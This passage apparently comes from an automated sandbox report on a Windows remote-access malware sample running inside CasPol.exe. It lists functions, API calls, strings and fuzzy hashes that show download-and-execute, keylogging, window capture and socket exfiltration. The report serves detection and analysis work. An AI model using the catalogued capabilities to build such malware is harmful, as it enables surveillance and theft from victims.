                                                                                    • API String ID: 2993684571-305739064
                                                                                    • Opcode ID: 526203e9eca74a7ac11616e6de4b704dd5e98db1e732fd16a6fd45517b5b1fbb
                                                                                    • Instruction ID: d6da77504ed7f85403cc54e6f32b3900d2337039667ff8d97479a9328fe4a552
                                                                                    • Opcode Fuzzy Hash: 526203e9eca74a7ac11616e6de4b704dd5e98db1e732fd16a6fd45517b5b1fbb
                                                                                    • Instruction Fuzzy Hash: F8F0BBB19043007FDB1137759D0E66B7F58AB46325F00457FF892926F1DA38D890875B
                                                                                    Function 00419F32 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30sleepCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 0041A686: GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                                                    • GetModuleHandleA.KERNEL32(00000000,00020009), ref: 00419F64
                                                                                    • PlaySoundW.WINMM(00000000,00000000), ref: 00419F72
                                                                                    • Sleep.KERNEL32(00002710), ref: 00419F79
                                                                                    • PlaySoundW.WINMM(00000000,00000000,00000000), ref: 00419F82
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: PlaySound$HandleLocalModuleSleepTime
                                                                                    • String ID: Alarm triggered
                                                                                    • API String ID: 614609389-2816303416
                                                                                    • Opcode ID: ca31e2b0ec9ffc7d76ba02616ca36f971eae7819ef66c75d3d88d4c06d2fc62c
                                                                                    • Instruction ID: 0fe531f7edf44dbbc4d7c544cb5d4c76277d8d7fe89cd9bd4aa838a143c441bc
                                                                                    • Opcode Fuzzy Hash: ca31e2b0ec9ffc7d76ba02616ca36f971eae7819ef66c75d3d88d4c06d2fc62c
                                                                                    • Instruction Fuzzy Hash: 50E09A22A0422033862033BA7C0FC6F3E28DAC6B75B4100BFF905A21A2AE54081086FB
                                                                                    Function 0041BE6F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 26COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetStdHandle.KERNEL32(000000F5,00000000,?,?,?,?,?,?,0041BF02), ref: 0041BE79
                                                                                    • GetConsoleScreenBufferInfo.KERNEL32 ref: 0041BE86
                                                                                    • SetConsoleTextAttribute.KERNEL32(00000000,0000000C), ref: 0041BE93
                                                                                    • SetConsoleTextAttribute.KERNEL32(00000000,?), ref: 0041BEA6
                                                                                    Strings
                                                                                    • ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/ , xrefs: 0041BE99
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Console$AttributeText$BufferHandleInfoScreen
                                                                                    • String ID: ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/
                                                                                    • API String ID: 3024135584-2418719853
                                                                                    • Opcode ID: ebe4511383e55350cb7437214035f9f9245c880b4d311b5a557d4aca1c5ac6fb
                                                                                    • Instruction ID: 2ebb83c1e7e70c4501562f07591cf8b091918c9767bda4cb27a2f29097fd03e7
                                                                                    • Opcode Fuzzy Hash: ebe4511383e55350cb7437214035f9f9245c880b4d311b5a557d4aca1c5ac6fb
                                                                                    • Instruction Fuzzy Hash: C7E04F62104348ABD31437F5BC8ECAB3B7CE784613B100536F612903D3EA7484448A79
                                                                                    Function 0044016A Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 5145828a6066f50cf31ff859ee0e23af4d85e603a01b225214a849b1d7000abc
                                                                                    • Instruction ID: 5f24fa964153eb206603784754227e3bedeb81a57cd12874f4c303f17d5dd595
                                                                                    • Opcode Fuzzy Hash: 5145828a6066f50cf31ff859ee0e23af4d85e603a01b225214a849b1d7000abc
                                                                                    • Instruction Fuzzy Hash: FD71C231900216DBEB218F55C884ABFBB75FF55360F14026BEE10A7281D7B89D61CBA9
                                                                                    Function 00410B19 Relevance: 7.7, APIs: 5, Instructions: 198memoryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 004105B9: SetLastError.KERNEL32(0000000D,00410B38,?,00000000), ref: 004105BF
                                                                                    • GetNativeSystemInfo.KERNEL32(?), ref: 00410BC4
                                                                                    • GetProcessHeap.KERNEL32(00000008,00000040,?,?,00000000), ref: 00410C2A
                                                                                    • HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410C31
                                                                                    • SetLastError.KERNEL32(0000045A,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00410D3F
                                                                                    • SetLastError.KERNEL32(000000C1,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00410B15), ref: 00410D69
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ErrorLast$Heap$AllocInfoNativeProcessSystem
                                                                                    • String ID:
                                                                                    • API String ID: 3525466593-0
                                                                                    • Opcode ID: 79ee37443a4366c3bbea1b893000b12d050509257f9cb6c9a6ccb14135485088
                                                                                    • Instruction ID: 414678d8c61d87a8872ee73c425a8c4ab38aff0ef96490e16bc3f9b9534d1ba0
                                                                                    • Opcode Fuzzy Hash: 79ee37443a4366c3bbea1b893000b12d050509257f9cb6c9a6ccb14135485088
                                                                                    • Instruction Fuzzy Hash: 1861C270200301ABD720DF66C981BA77BE6BF44744F04412AF9058B786EBF8E8C5CB99
                                                                                    Function 0040E6A3 Relevance: 7.6, APIs: 5, Instructions: 132processCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 0041B15B: GetCurrentProcess.KERNEL32(?,?,?,0040C914,WinDir,00000000,00000000), ref: 0041B16C
                                                                                    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040E6C1
                                                                                    • Process32FirstW.KERNEL32(00000000,?), ref: 0040E6E5
                                                                                    • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040E6F4
                                                                                    • CloseHandle.KERNEL32(00000000), ref: 0040E8AB
                                                                                      • Part of subcall function 0041B187: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,0040E4D0,00000000,?,?,00474358), ref: 0041B19C
                                                                                      • Part of subcall function 0041B37D: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041B395
                                                                                      • Part of subcall function 0041B37D: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041B3A8
                                                                                    • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040E89C
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Process$OpenProcess32$Next$CloseCreateCurrentFirstHandleSnapshotToolhelp32
                                                                                    • String ID:
                                                                                    • API String ID: 4269425633-0
                                                                                    • Opcode ID: b947fa994ad0dc43cc2d27d074a9b476dadf369fbeb33aa08de4f1a1173b1a3f
                                                                                    • Instruction ID: 1ccfc3ca83e07eb3b8bade3b71d1bee95701cef3987deea6625860c00c24977f
                                                                                    • Opcode Fuzzy Hash: b947fa994ad0dc43cc2d27d074a9b476dadf369fbeb33aa08de4f1a1173b1a3f
                                                                                    • Instruction Fuzzy Hash: F641E1311083415BC325F761D8A1AEFB7E9EFA4305F50453EF84A931E1EF389A49C65A
                                                                                    Function 00443098 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free
                                                                                    • String ID:
                                                                                    • API String ID: 269201875-0
                                                                                    • Opcode ID: f0a2e76299140c1b889b6a2776586b742041be663085ede9ef76686f57abf0cb
                                                                                    • Instruction ID: 1dbcf13812f0ad7c91f1b1cf961d24232ef3b5dad0ac29e3e9285c08b65e5f3f
                                                                                    • Opcode Fuzzy Hash: f0a2e76299140c1b889b6a2776586b742041be663085ede9ef76686f57abf0cb
                                                                                    • Instruction Fuzzy Hash: 4A41D532E002049FEB24DF79C881A5EB3A5EF89718F15856EE915EB341DB35EE01CB84
                                                                                    Function 0044FED3 Relevance: 7.6, APIs: 5, Instructions: 110COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,0043E3ED,?,00000000,?,00000001,?,?,00000001,0043E3ED,?), ref: 0044FF20
                                                                                    • __alloca_probe_16.LIBCMT ref: 0044FF58
                                                                                    • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0044FFA9
                                                                                    • GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,004399BF,?), ref: 0044FFBB
                                                                                    • __freea.LIBCMT ref: 0044FFC4
                                                                                      • Part of subcall function 00446AFF: RtlAllocateHeap.NTDLL(00000000,00434403,?,?,00437227,?,?,?,?,?,0040CC87,00434403,?,?,?,?), ref: 00446B31
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
                                                                                    • String ID:
                                                                                    • API String ID: 313313983-0
                                                                                    • Opcode ID: f170efb2dc1c6de9df76393386ebf7cd534c4364e4366eebd744cf228c8edce4
                                                                                    • Instruction ID: fd0d2a6e26420063bd1679c32ed8e9021f1b2be81e6a043fb7466d0fa567ef17
                                                                                    • Opcode Fuzzy Hash: f170efb2dc1c6de9df76393386ebf7cd534c4364e4366eebd744cf228c8edce4
                                                                                    • Instruction Fuzzy Hash: 9831FE32A0021AABEF248F65DC41EAF7BA5EB05314F05017BFC04D6290EB39DD58CBA4
                                                                                    Function 0044E13B Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetEnvironmentStringsW.KERNEL32 ref: 0044E144
                                                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0044E167
                                                                                      • Part of subcall function 00446AFF: RtlAllocateHeap.NTDLL(00000000,00434403,?,?,00437227,?,?,?,?,?,0040CC87,00434403,?,?,?,?), ref: 00446B31
                                                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0044E18D
                                                                                    • _free.LIBCMT ref: 0044E1A0
                                                                                    • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0044E1AF
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                                                                                    • String ID:
                                                                                    • API String ID: 336800556-0
                                                                                    • Opcode ID: a9616c8c015984253ca72814521cc13fd9597de4e0bdad696dd641cecd3264f2
                                                                                    • Instruction ID: 38685928f53d0fdec7f9771a1fbcf5508afe04d06d5fe5a1692e2fd93afee85f
                                                                                    • Opcode Fuzzy Hash: a9616c8c015984253ca72814521cc13fd9597de4e0bdad696dd641cecd3264f2
                                                                                    • Instruction Fuzzy Hash: 8201B1726417117F73215ABB6C8CC7B6A6DEEC2BA2315013ABD04D6201DA788C0291B9
                                                                                    Function 00446F43 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetLastError.KERNEL32(0000000A,0000000B,0000000A,00445359,00440A9B,00000000,?,?,?,?,00440C7E,00000000,0000000A,000000FF,0000000A,00000000), ref: 00446F48
                                                                                    • _free.LIBCMT ref: 00446F7D
                                                                                    • _free.LIBCMT ref: 00446FA4
                                                                                    • SetLastError.KERNEL32(00000000,0000000A,00000000), ref: 00446FB1
                                                                                    • SetLastError.KERNEL32(00000000,0000000A,00000000), ref: 00446FBA
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ErrorLast$_free
                                                                                    • String ID:
                                                                                    • API String ID: 3170660625-0
                                                                                    • Opcode ID: f4408b0af08e6f25a576fef194bdae15b87294ed1dfbee705da3a0fd61bfb56a
                                                                                    • Instruction ID: 6bd692df8320938abc1815071491dbd9703328d73d2f54107518a18b095bb187
                                                                                    • Opcode Fuzzy Hash: f4408b0af08e6f25a576fef194bdae15b87294ed1dfbee705da3a0fd61bfb56a
                                                                                    • Instruction Fuzzy Hash: 7401D13620C70067F61266757C85D2F266DDBC3B66727013FF958A2292EE2CCC0A452F
                                                                                    Function 0044F79D Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • _free.LIBCMT ref: 0044F7B5
                                                                                      • Part of subcall function 00446AC5: HeapFree.KERNEL32(00000000,00000000), ref: 00446ADB
                                                                                      • Part of subcall function 00446AC5: GetLastError.KERNEL32(0000000A,?,0044FA50,0000000A,00000000,0000000A,00000000,?,0044FCF4,0000000A,00000007,0000000A,?,00450205,0000000A,0000000A), ref: 00446AED
                                                                                    • _free.LIBCMT ref: 0044F7C7
                                                                                    • _free.LIBCMT ref: 0044F7D9
                                                                                    • _free.LIBCMT ref: 0044F7EB
                                                                                    • _free.LIBCMT ref: 0044F7FD
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free$ErrorFreeHeapLast
                                                                                    • String ID:
                                                                                    • API String ID: 776569668-0
                                                                                    • Opcode ID: 24d082c4c32556380d94a426a0797d769337f58152c77e2724906da83e703e03
                                                                                    • Instruction ID: 78b16e2cd2bc6e4547488c8f4e3d182d22cf8911186b8f77a4a783cd10448158
                                                                                    • Opcode Fuzzy Hash: 24d082c4c32556380d94a426a0797d769337f58152c77e2724906da83e703e03
                                                                                    • Instruction Fuzzy Hash: 9AF01232505600BBE620EB59E8C5C1773E9EB827147A9482BF408F7641CB3DFCC48A6C
                                                                                    Function 004432E7 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • _free.LIBCMT ref: 00443305
                                                                                      • Part of subcall function 00446AC5: HeapFree.KERNEL32(00000000,00000000), ref: 00446ADB
                                                                                      • Part of subcall function 00446AC5: GetLastError.KERNEL32(0000000A,?,0044FA50,0000000A,00000000,0000000A,00000000,?,0044FCF4,0000000A,00000007,0000000A,?,00450205,0000000A,0000000A), ref: 00446AED
                                                                                    • _free.LIBCMT ref: 00443317
                                                                                    • _free.LIBCMT ref: 0044332A
                                                                                    • _free.LIBCMT ref: 0044333B
                                                                                    • _free.LIBCMT ref: 0044334C
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free$ErrorFreeHeapLast
                                                                                    • String ID:
                                                                                    • API String ID: 776569668-0
                                                                                    • Opcode ID: ab870860b33c9a3cd44b9e2e3565930e421ff68453c6808a8f097650461ead98
                                                                                    • Instruction ID: 76e6a482bc9a1727a28655d1f271e5fc3ecde01143ea680422932a64b095765e
                                                                                    • Opcode Fuzzy Hash: ab870860b33c9a3cd44b9e2e3565930e421ff68453c6808a8f097650461ead98
                                                                                    • Instruction Fuzzy Hash: B9F05EF08075209FAB12AF2DBD014893BA0B786755306413BF41EB2772EB380D95DB8E
                                                                                    Function 00406128 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 222filenetworkCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00406234
                                                                                    • URLDownloadToFileW.URLMON(00000000,00000000,00000004,00000000,00000000), ref: 00406318
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: DownloadExecuteFileShell
                                                                                    • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe$open
                                                                                    • API String ID: 2825088817-4197237851
                                                                                    • Opcode ID: cee9510d0fcfb38865a28ccc51a024b898106b44f4a03a585ed25ab3ddb7bc72
                                                                                    • Instruction ID: f68f5450864a8ef507c8d3860f756bd811b48be2db930e76b40a644c5c1bb7bc
                                                                                    • Opcode Fuzzy Hash: cee9510d0fcfb38865a28ccc51a024b898106b44f4a03a585ed25ab3ddb7bc72
                                                                                    • Instruction Fuzzy Hash: 0761A33160434067CA14FA76C8569BE77A69F81718F00493FBC46772D6EF3C9A05C69B
                                                                                    Function 00416751 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 182threadwindowCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetWindowThreadProcessId.USER32(?,?), ref: 00416768
                                                                                    • GetWindowTextW.USER32(?,?,0000012C), ref: 0041679A
                                                                                    • IsWindowVisible.USER32(?), ref: 004167A1
                                                                                      • Part of subcall function 0041B37D: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041B395
                                                                                      • Part of subcall function 0041B37D: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041B3A8
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ProcessWindow$Open$TextThreadVisible
                                                                                    • String ID: (FG
                                                                                    • API String ID: 3142014140-2273637114
                                                                                    • Opcode ID: eb2bca1e6d2cb62f49359eca3696a5b788354994f25ad01b61c56b8fabd667be
                                                                                    • Instruction ID: 6337817d5adb2ff800b6fe7f9081d1b6a06097940366009b721c4d78a1625a25
                                                                                    • Opcode Fuzzy Hash: eb2bca1e6d2cb62f49359eca3696a5b788354994f25ad01b61c56b8fabd667be
                                                                                    • Instruction Fuzzy Hash: FD71E6321082414AC325FB61D8A5ADFB3E4AFE4319F50453EF58A530E1EF746A49C79A
                                                                                    Function 0044D459 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • _strpbrk.LIBCMT ref: 0044D4A8
                                                                                    • _free.LIBCMT ref: 0044D5C5
                                                                                      • Part of subcall function 0043A854: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0043A856
                                                                                      • Part of subcall function 0043A854: GetCurrentProcess.KERNEL32(C0000417,0000000A,00000000), ref: 0043A878
                                                                                      • Part of subcall function 0043A854: TerminateProcess.KERNEL32(00000000), ref: 0043A87F
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Process$CurrentFeaturePresentProcessorTerminate_free_strpbrk
                                                                                    • String ID: *?$.
                                                                                    • API String ID: 2812119850-3972193922
                                                                                    • Opcode ID: 3ccd6c7c6263025d80bbf4df8e19646480fb990c35b4b1cfbff97afb24dbcef1
                                                                                    • Instruction ID: 2d4433a3afc190a5690657b280c6536bac4d5ba0d1806d6c31be7b1549e3be36
                                                                                    • Opcode Fuzzy Hash: 3ccd6c7c6263025d80bbf4df8e19646480fb990c35b4b1cfbff97afb24dbcef1
                                                                                    • Instruction Fuzzy Hash: 7251B371E00109AFEF14DFA9C881AAEB7F5EF58318F24416FE854E7301DA799E018B54
                                                                                    Function 004095D6 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 158COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetKeyboardLayoutNameA.USER32(?), ref: 00409601
                                                                                      • Part of subcall function 004041F1: socket.WS2_32(?,00000001,00000006), ref: 00404212
                                                                                      • Part of subcall function 0040428C: connect.WS2_32(?,?,?), ref: 004042A5
                                                                                      • Part of subcall function 0041B6AA: CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0041B6BF
                                                                                      • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CreateFileKeyboardLayoutNameconnectsendsocket
                                                                                    • String ID: XCG$`AG$>G
                                                                                    • API String ID: 2334542088-2372832151
                                                                                    • Opcode ID: 8ea2362fd4b99c9916fc71bf3fc372679012ea805d421a90e43c80cd1edb4417
                                                                                    • Instruction ID: 7adbea44916697806613a62f0197ef330eb15d5bc584e2d7fa9685cab7613629
                                                                                    • Opcode Fuzzy Hash: 8ea2362fd4b99c9916fc71bf3fc372679012ea805d421a90e43c80cd1edb4417
                                                                                    • Instruction Fuzzy Hash: 865143321042405BC325F775D8A2AEF73D5AFE4308F50483FF84A671E2EE785949C69A
                                                                                    Function 00403A10 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 92sleepCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00403A2A
                                                                                      • Part of subcall function 0041AB38: GetCurrentProcessId.KERNEL32(00000000,7570D4DF,00000000,?,?,?,?,00465900,0040C07B,.vbs,?,?,?,?,?,004742F8), ref: 0041AB5F
                                                                                      • Part of subcall function 004176B6: CloseHandle.KERNEL32(00403AB9), ref: 004176CC
                                                                                      • Part of subcall function 004176B6: CloseHandle.KERNEL32($SF), ref: 004176D5
                                                                                      • Part of subcall function 0041B61A: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041B633
                                                                                    • Sleep.KERNEL32(000000FA,00465324), ref: 00403AFC
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseFileHandle$CreateCurrentModuleNameProcessSleep
                                                                                    • String ID: /sort "Visit Time" /stext "$8>G
                                                                                    • API String ID: 368326130-2663660666
                                                                                    • Opcode ID: dfa64f9047554a707b91e77b14ac24b19fa43de0bfeca1bd13ed9ec92fdcbe0b
                                                                                    • Instruction ID: 7eda923cdb9144c2d3fbd791e6ccfb72172be11f11f2a08a3aebfaec1b2861d2
                                                                                    • Opcode Fuzzy Hash: dfa64f9047554a707b91e77b14ac24b19fa43de0bfeca1bd13ed9ec92fdcbe0b
                                                                                    • Instruction Fuzzy Hash: E5317331A0021456CB14FBB6DC969EE7775AF90318F40017FF906B71D2EF385A8ACA99
                                                                                    Function 0040A876 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67timeCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetLocalTime.KERNEL32(?,?,00000000), ref: 0040A884
                                                                                    • wsprintfW.USER32 ref: 0040A905
                                                                                      • Part of subcall function 00409D58: SetEvent.KERNEL32(?,?,?,0040AF3F,?,?,?,?,?,00000000), ref: 00409D84
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: EventLocalTimewsprintf
                                                                                    • String ID: [%04i/%02i/%02i %02i:%02i:%02i $]
                                                                                    • API String ID: 1497725170-1359877963
                                                                                    • Opcode ID: 9a143e05fb649254738b1ee99149c031ca443191eb0f9aa6e6dc509c019a65ff
                                                                                    • Instruction ID: 8a7b6ca92c081f7f17d03b5bac770d689c192d548357e869dbc211d44db93d1d
                                                                                    • Opcode Fuzzy Hash: 9a143e05fb649254738b1ee99149c031ca443191eb0f9aa6e6dc509c019a65ff
                                                                                    • Instruction Fuzzy Hash: BB118172400118AACB18BB56EC55CFE77BCAE48325F00013FF842620D1EF7C5A86C6E9
                                                                                    Function 0040A611 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64threadCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 0040A876: GetLocalTime.KERNEL32(?,?,00000000), ref: 0040A884
                                                                                      • Part of subcall function 0040A876: wsprintfW.USER32 ref: 0040A905
                                                                                      • Part of subcall function 0041A686: GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                                                    • CreateThread.KERNEL32(00000000,00000000,Function_00009993,?,00000000,00000000), ref: 0040A691
                                                                                    • CreateThread.KERNEL32(00000000,00000000,Function_000099B5,?,00000000,00000000), ref: 0040A69D
                                                                                    • CreateThread.KERNEL32(00000000,00000000,004099C1,?,00000000,00000000), ref: 0040A6A9
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CreateThread$LocalTime$wsprintf
                                                                                    • String ID: Online Keylogger Started
                                                                                    • API String ID: 112202259-1258561607
                                                                                    • Opcode ID: 54b0b085ce57371670bcfd3b34d5d472438fbf033b6369da0e754369fe511495
                                                                                    • Instruction ID: 3917ec9fcb61ff418b23047d8298326e5ff7fd14d64f683336ff9c65b5464130
                                                                                    • Opcode Fuzzy Hash: 54b0b085ce57371670bcfd3b34d5d472438fbf033b6369da0e754369fe511495
                                                                                    • Instruction Fuzzy Hash: DE01C4916003093AE62076368C87DBF3A6DCA813A8F40043EF541362C3E97D5D5582FB
